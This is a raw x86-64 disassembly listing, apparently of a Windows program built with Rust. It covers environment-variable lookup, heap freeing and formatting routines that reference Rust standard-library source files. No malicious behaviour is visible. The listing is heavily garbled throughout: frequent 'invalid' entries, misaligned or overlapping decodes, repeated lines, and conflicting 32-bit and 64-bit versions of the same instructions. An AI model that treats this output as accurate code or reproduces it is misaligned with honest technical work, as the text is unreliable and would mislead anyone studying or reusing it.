test dword [rax], ebx
add al, 0
add byte [rcx], dh
push qword [rcx]
fild dword [rbp + 0x31]
in al, 0x49
cmp eax, 0x201
jae 0x140080030
jmp 0x14008001f
jae 0x140080109
cmp r8, 0x201
jae 0x140080030
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140080088
sub r8, r12
sub rbx, r12
cmp rbx, r8
jae 0x14008005f
lea rcx, [rbp + 0x3f0]
mov rdx, r12
call fcn.1400ae2f0
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x418], rax
mov rdi, qword [rbp + 0x3f8]
mov eax, 0xffffffff
cmp rdi, rax
mov r12d, 0xffffffff
cmovb r12, rdi
mov qword [rbp + 0x400], r12
mov rbx, rdi
mov rsi, r12
mov r13, qword [rbp + 0x418]
sbb byte [rax + rax], al
add byte [rbp - 0x77], cl
invalid
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov al, 2
add eax, dword [rax]
mov rcx, qword [rbp + 0x410]
mov rdx, r13
mov r8d, r15d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
add byte [rcx - 0x77], al
invalid
test eax, eax
jne case.0x140075b85.1406
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400801ce
mov r8d, r14d
cmp r15, r8
jne 0x140080010
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400801ff
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x14008001f
jmp 0x140080030
lea rcx, [rbp - 0x50]
call fcn.140079f00
mov byte [rsi + 0x18], 2
jmp 0x140080198
cmp rsi, r8
jb 0x140080219
invalid
add byte [rax - 0x73], cl
lea ebp, [rax + 0x4c000003]
mov edx, ebp
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.14007df10
movups xmm0, xmmword [rbp + 0x3a8]
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
invalid
invalid
add eax, dword [rax]
invalid
add byte [rdi], cl
adc byte [rbp + 0x3b8], cl
invalid
invalid
add eax, dword [rax]
invalid
lea edi, [rax + 0xf000003]
sub dword [rbp + 0x3e0], ecx
loopne 0x140080137
add byte [rax], al
movaps xmmword [rbp + 0x3e0], xmm1
loopne 0x140080137
add byte [rax], al
movaps xmmword [rbp + 0x3d0], xmm0
sub dword [rbp + 0x3d0], eax
test rdi, rdi
mov rsi, qword [rbp + 0x3c8]
je 0x14008015f
invalid
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x418]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rbp + 0x3e8], 2
jne 0x1400801ad
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3d0]
call fcn.140079f00
cmp qword [rbp + 0x408], 0
mov ebp, 0x408
invalid
je 0x140080198
mov ebp, 0x408
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0x410]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3d0]
movaps xmm1, xmmword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
cmp qword [rbp + 0x408], 0
jne 0x140080182
jmp 0x140080198
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
enter 0x4802, 0xffffffffffffff89
test eax, edx
add eax, dword [rax]
add dh, al
test eax, ebp
add eax, dword [rax]
add byte [rdx], al
enter 0x4802, 0xffffffffffffff89
test eax, edx
add eax, dword [rax]
add dh, al
test eax, ebp
add eax, dword [rax]
add byte [rdx], al
test rdi, rdi
mov rsi, qword [rbp + 0x3c8]
jne 0x140080149
jmp 0x14008015f
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_threadmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.1400a9e70
jmp 0x14008022e
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.1400a9df0
ud2
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0xf0
mov rdi, r9
mov edi, ecx
mov edi, ecx
mov rbx, r8
mov rsi, rcx
mov r12, qword [rcx]
mov r15, qword [rcx + 8]
mov qword [rsp + 0xe8], rdx
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], cl
cmp byte [r12 + 0x20], 0
jne 0x140080355
add byte [rbp + 0xe], dh
inc r15
mov qword [rsi + 8], r15
xor eax, eax
jmp 0x140080a3b
mov rax, qword [r12]
test r15, r15
je 0x14008045d
test bl, bh
add byte [rax], al
invalid
test bl, bh
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x69717
invalid
lea rcx, str.
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
add dword [rax], eax
add byte [rax], al
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
and al, 0x38
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r14, [rsp + 0x20]
lea esi, [rsp + 0x20]
lea esi, [rsp + 0x20]
mov r8, r14
call fcn.140042180
test al, al
jne 0x140080a39
cmp byte [r12 + 0x20], 1
jne case.0x14007636c.466
mov rax, qword [r12]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [0x1400514b0]
invalid
lea edx, [0x1400514b0]
mov qword [rsp + 0xb0], rdx
lea rdx, [0x1400e9a90]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x696b3
mov qword [rsp + 0xb8], rdx
mov dword [rsp + 0xb8], edx
lea rdx, [0x140041590]
mov qword [rsp + 0xc0], rdx
adc esp, edi
dec dword [rax - 0x77]
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add cl, ch
invalid
add dword [rax], eax
invalid
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add cl, ch
invalid
lea rcx, [r12 + 0x18]
and al, 0x18
mov qword [rsp + 0xa8], rcx
lea rcx, [fcn.1400415d0]
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0x20], 2
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 4
and al, 0x38
add al, 0
add byte [rax], al
and al, 0x38
add al, 0
add byte [rax], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov dword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
push rax
add ecx, dword [rax - 0x73]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rcx
and al, 0x70
mov qword [rsp + 0x78], 2
js case.0x14002f3a6.1111
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x20
lea r14, [rsp + 0x20]
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
mov dword [rsp + 0x98], 1
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
invalid
mov dword [rsp + 0x98], 1
add dword [rax], eax
add byte [rax], al
add byte [rbp + rcx*4 - 0x54], cl
lea r13, [rsp + 0xa8]
mov qword [rsp + 0x80], r13
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rax + 0x20]
lodsb al, byte [rsi]
and al, 0xa8
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rax + 0x20]
invalid
invalid
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea r8, [rsp + 0x70]
call fcn.140042180
test al, al
ror byte [rdi], 0x85
invalid
invalid
add byte [rax], al
invalid
ror byte [rdi], 0x85
sub al, byte [0xc0490511]
add byte [rcx - 0x80], al
cmp byte [r12 + 0x20], 1
jl 0x140080537
and byte [rcx], al
jne case.0x14007636c.466
mov rax, qword [r12]
mov eax, dword [rsp]
and al, 0x48
lea ecx, [rsp + 0xe8]
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0xa8], rcx
test al, 0
add byte [rax], al
lea rcx, [0x140080a50]
mov qword [rsp + 0xb0], rcx
add byte [rax], al
invalid
mov dword [rsp + 0xb0], ecx
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [0x1400e9a70]
lea rcx, [0x1400e9a70]
mov qword [rsp + 0xb8], rcx
lea rcx, [0x140041590]
or eax, 0xfffc103c
and al, 0xb8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xfffc103c
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0x20], 2
and al, 0x20
add al, byte [rax]
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax - 0x39], cl
and al, 0x20
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
mov qword [rsp + 0x30], 1
add byte [rax], al
mov qword [rsp + 0x38], 1
cmp byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x40
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x48
invalid
mov qword [rsp + 0x48], 0x20
and al, 0x48
and byte [rax], al
and byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 3
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xchg esp, eax
invalid
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 2
js case.0x14007651e.442
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
add byte [rax], al
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
mov ah, 0x24
nop
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x88], 2
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
invalid
sub byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x70]
lea eax, [rsp + 0x70]
and al, 0x70
and al, 0x70
call fcn.140042180
test al, al
ror byte [rdi], 0x85
push rsp
add al, 0
invalid
ror byte [rdi], 0x85
push rsp
add al, 0
add byte [rax], al
add byte [rbx - 0x7bf0fcc5], al
invalid
cmp dword [rbx], 3
cmp eax, dword [rbx]
add ecx, dword [rdi]
test byte [rsi], cl
add dword [rax], eax
add byte [rcx + 0xf], al
invalid
invalid
mov dh, 0x44
je 0x1400806fc
movzx eax, byte [r12 + 0x20]
and al, 0x20
and byte [rax - 0x7d], cl
cmp rax, 1
cmp eax, 1
clc
add dword [rdi], ecx
test byte [rax + 0x48000003], bl
test eax, eax
je 0x140080996
test rax, rax
jne 0x1400806fc
cmc
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rbx + 0x40], al
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
adc byte [rbx], al
adc byte [rbx], al
movups xmm1, xmmword [rbx + 0x10]
adc byte [rbx + 0x10], cl
adc byte [r15], cl
movups xmm2, xmmword [rbx + 0x20]
adc byte [rbx + 0x20], dl
movups xmm3, xmmword [rbx + 0x30]
adc byte [rbx + 0x30], bl
movaps xmmword [rsp + 0x50], xmm3
pop rsp
and al, 0x50
movaps xmmword [rsp + 0x40], xmm2
sub dword [rsp + 0x40], edx
push rsp
and al, 0x40
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
and al, 0x48
lea ecx, [rsp + 0x20]
and al, 0x20
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rsp + 0xd8], rcx
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xffffcd85
test ebp, ecx
invalid
invalid
lea rcx, [0x14007d3d0]
test ebp, ecx
invalid
int 0xff
dec dword [rax - 0x77]
mov qword [rsp + 0xe0], rcx
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
mov qword [rsp + 0x70], 2
mov dword [rsp + 0x70], 2
and al, 0x70
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdx], al
invalid
mov qword [rsp + 0x80], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
add byte [rax], al
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x90], 0
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x47], cl
invalid
movabs rcx, 0x400000020
mov ecx, 0x20
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbx*4], fs
add byte [rax], al
add dh, al
invalid
mov qword [rsp + 0x98], rcx
mov byte [rsp + 0xa0], 3
test byte [rax + riz*4], ah
and al, 0xa0
movabs al, byte [0xcb0d8d4803000000]
mov dword [rsi], 0x8c894800
invalid
add byte [rax], al
add byte [rax], al
add ecx, dword [rax - 0x73]
or eax, 0x6c7cb
add byte [rbx], al
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0xa8], rcx
mov word [rax + rbp*4], fs
and al, 0xa8
test al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov qword [rsp + 0xb0], 1
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
and al, 0x70
and al, 0x70
jo 0x1400806f7
mov qword [rsp + 0xc8], rcx
mov dword [rsp + 0xc8], ecx
mov qword [rsp + 0xd0], 1
and al, 0xd0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
lea rcx, [rsp + 0xd8]
mov qword [rsp + 0xb8], rcx
mov dword [rsp + 0xb8], ecx
mov word [rax + rdi*4], fs
and al, 0xb8
mov eax, 0x48000000
mov dword [rsp + 0xc0], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rcx], al
mov qword [rsp + 0xc0], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 - 0x7c], cl
and al, 0xa8
add byte [rax], al
invalid
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140042180
test al, al
je 0x140080743
lea ebx, [rdx]
cld
sbb bh, ah
inc dword [rax + rax*8 + 0x3de94c74]
jmp 0x140080a39
add eax, dword [rax]
add byte [rcx - 0x75], cl
invalid
mov rax, qword [r12]
mov eax, dword [rsp]
add al, 0x24
and al, 0x48
lea rcx, [0x1400e9a98]
lea ecx, [0x1400e9a98]
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
mov qword [rsp + 0x28], 1
mov dword [rsp + 0x28], 1
and al, 0x28
and al, 0x28
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x6db3c
invalid
invalid
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
mov qword [rsp + 0x30], rcx
and al, 0x30
xor byte [rdi], cl
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
invalid
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x20]
and al, 0x20
and al, 0x20
call fcn.140042180
test al, al
invalid
sbb r15b, r12b
inc dword [rax + rax*8 + 0x2f6850f]
ror byte [rdi], 0x85
invalid
invalid
ror byte [rdi], 0x85
test byte [rdx], 0
invalid
jne 0x140080a39
add byte [rax], al
add byte [rcx - 0x75], cl
mov rax, qword [r12]
mov eax, dword [rsp]
add al, 0x24
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x68002
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x68002
add al, byte [rax - 0x47befffa]
add byte [rsi], 0
add byte [rcx - 0x48], al
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
sbb byte [rax + rax*8 + 0x2d2850f], al
test al, al
jne 0x140080a39
rol byte [rdx], cl
add al, byte [rax]
add byte [rax], al
add byte [rbx + 0x15024bc], al
add byte [rax], al
add dword [rdi], ecx
invalid
cmp dword [rsp + 0x150], 1
jne 0x140080347
test edx, edx
sti
invalid
dec dword [rax - 0x75]
mov rax, qword [rdi]
cmp eax, 2
je 0x140080347
invalid
sti
invalid
invalid
invalid
invalid
dec dword [rbx + 0x1582484]
mov eax, dword [rsp + 0x158]
and al, 0x58
add dword [rax], eax
add byte [rcx + 0xd82484], cl
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xd8], eax
cmp byte [r12 + 0x20], 1
jl 0x1400807b7
and al, 0x20
add dword [rdi], ecx
and byte [rcx], al
jne 0x14008086a
test edi, ecx
add byte [rax], al
add byte [rcx - 0x75], cl
add al, 0x24
iretd
mov rax, qword [r12]
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or eax, 0x6c6ba
mov edx, 0x480006c6
mov byte [rsi], 0
add byte [rax - 0x77], cl
mov word [rax + rbp*4], fs
add byte [rax], al
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0xa8], ecx
add byte [rax - 0x73], cl
adc eax, 0xfffd0cfb
std
invalid
lea rdx, [0x1400514b0]
lea edx, [0x1400514b0]
std
dec dword [rax - 0x77]
mov qword [rsp + 0xb0], rdx
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax], al
lea rdx, [0x1400e9a70]
add byte [rax], al
lea rdx, [0x1400e9a70]
xchg edx, eax
invalid
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xb8
mov qword [rsp + 0xb8], rdx
mov dword [rsp + 0xb8], edx
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xfffc0dbd
invalid
invalid
cld
invalid
lea rdx, [0x140041590]
mov ebp, 0x48fffc0d
mov dword [rsp + 0xc0], edx
xchg esp, eax
and al, 0xc0
add byte [rax], al
invalid
cld
dec dword [rax - 0x77]
mov qword [rsp + 0xc0], rdx
xchg esp, eax
and al, 0xc0
add byte [rax], al
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x20], 2
and al, 0x20
add al, byte [rax]
add byte [rax], al
and byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
and al, 0x30
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x40], 0
add byte [rax - 0x39], cl
and al, 0x40
and al, 0x40
mov dword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], 0x20
and byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
invalid
and al, 0x50
add ecx, dword [rax - 0x77]
and al, 0x70
invalid
jo 0x14008085b
mov qword [rsp + 0x78], 1
mov dword [rsp + 0x78], 1
and al, 0x78
add dword [rax], eax
add byte [rax], al
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x90], ecx
and byte [rax - 0x77], cl
mov word [rax + rdx*4], fs
mov dword [rsp + 0x90], ecx
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0xa8]
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov dword [rsp + 0x80], ecx
mov qword [rsp + 0x88], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea eax, [rsp + 0x70]
call fcn.140042180
test al, al
jne 0x140080a39
test edi, ecx
add dword [rax], eax
invalid
test edi, ecx
add dword [rax], eax
add byte [rcx - 0x75], cl
add al, 0x24
mov rax, qword [r12]
lea rcx, str._____________at
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rbx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042180
test al, al
jne 0x140080a39
mov rcx, qword [r12 + 8]
mov rax, qword [r12 + 0x10]
mov rdx, qword [r12]
mov qword [rsp + 0x20], rdx
lea r8, [rsp + 0x28]
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x28], xmm0
mov r9, qword [rdi + 0x10]
mov qword [rsp + 0x38], r9
call qword [rax + 0x20]
test al, al
jne 0x140080a39
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xa8], rcx
lea rcx, [0x14007d3d0]
mov qword [rsp + 0xb0], rcx
lea rcx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.140042180
test al, al
je 0x140080743
mov al, 1
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, r8
shr r9, 4
mov r8d, eax
and r8b, 0xf
cmp r8b, 0xa
mov r10d, 0x57
cmovb r10d, edx
add r10b, r8b
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
cmp rax, 0x10
clc
adc byte [rcx + rcx*4 - 0x38], cl
adc byte [rcx + rcx*4 - 0x38], cl
jae 0x140080ab0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x140080b37
mov eax, 0x81
sub rax, r8
add rcx, rsp
loope 0x140080b42
add rcx, 0x30
add ecx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400e3759]
mov r9d, 2
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov dl, 1
call fcn.1400416f0
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
invalid
enter 0, 0
invalid
enter 0, 0
pop rdi
pop rsi
ret
lea r8, [0x1400d8a18]
mov edx, 0x80
call fcn.1400a9cf0
add al, ch
test al, 0x91
add al, byte [rax]
ud2
int3
add cl, byte [rdi + rcx + 0x45]
leave
mov rcx, rdx
mov rdx, rax
jmp fcn.14007d6d0
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x98
in al, dx
cwde
add byte [rax], al
invalid
in al, dx
cwde
add byte [rax], al
add byte [rax - 0x73], cl
lea rbp, [rsp + 0x80]
invalid
invalid
adc r14b, r15b
invalid
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
mov rsi, rdx
mov rdx, qword [rcx]
mov eax, edx
invalid
rol byte [rbx - 0x72b7fc20], 1
and eax, 3
lea rcx, [0x1400f062c]
or eax, 0x6fa8f
or eax, 0x6fa8f
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov eax, dword [rdx]
mov rax, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, rsi
mov rdx, rax
add rsp, 0x98
add esp, 0x98
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140041e50
lea edx, [rdx]
cld
invalid
mov rcx, qword [rdx - 1]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rdx + 7]
mov rax, qword [rax + 0x20]
mov rdx, rsi
mov edx, esi
invalid
invalid
add rsp, 0x98
pop rbx
pop rdi
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop rbp
jmp rax
shr rdx, 0x20
invalid
mov dword [rbp + 0xc], edx
or al, 0x48
lea edi, [rbp - 0x10]
lea rdi, [rbp - 0x10]
mov rcx, rdi
mov ecx, edi
call fcn.14007cc40
mov qword [rbp - 0x30], rdi
lea rax, [0x140014ea0]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
lea eax, [rbp + 0xc]
dec dword [rax - 0x77]
fmul dword [r8 - 0x73]
invalid
or al, 0x48
mov dword [rbp - 0x20], eax
invalid
invalid
mov qword [rbp - 0x20], rax
loopne case.0x14007d912.65
lea rax, [0x140049c10]
lea eax, [0x140049c10]
invalid
mov qword [rbp - 0x18], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x60], rax
invalid
add dword [rsi], 0x45894800
movabs al, byte [0x3a845c748]
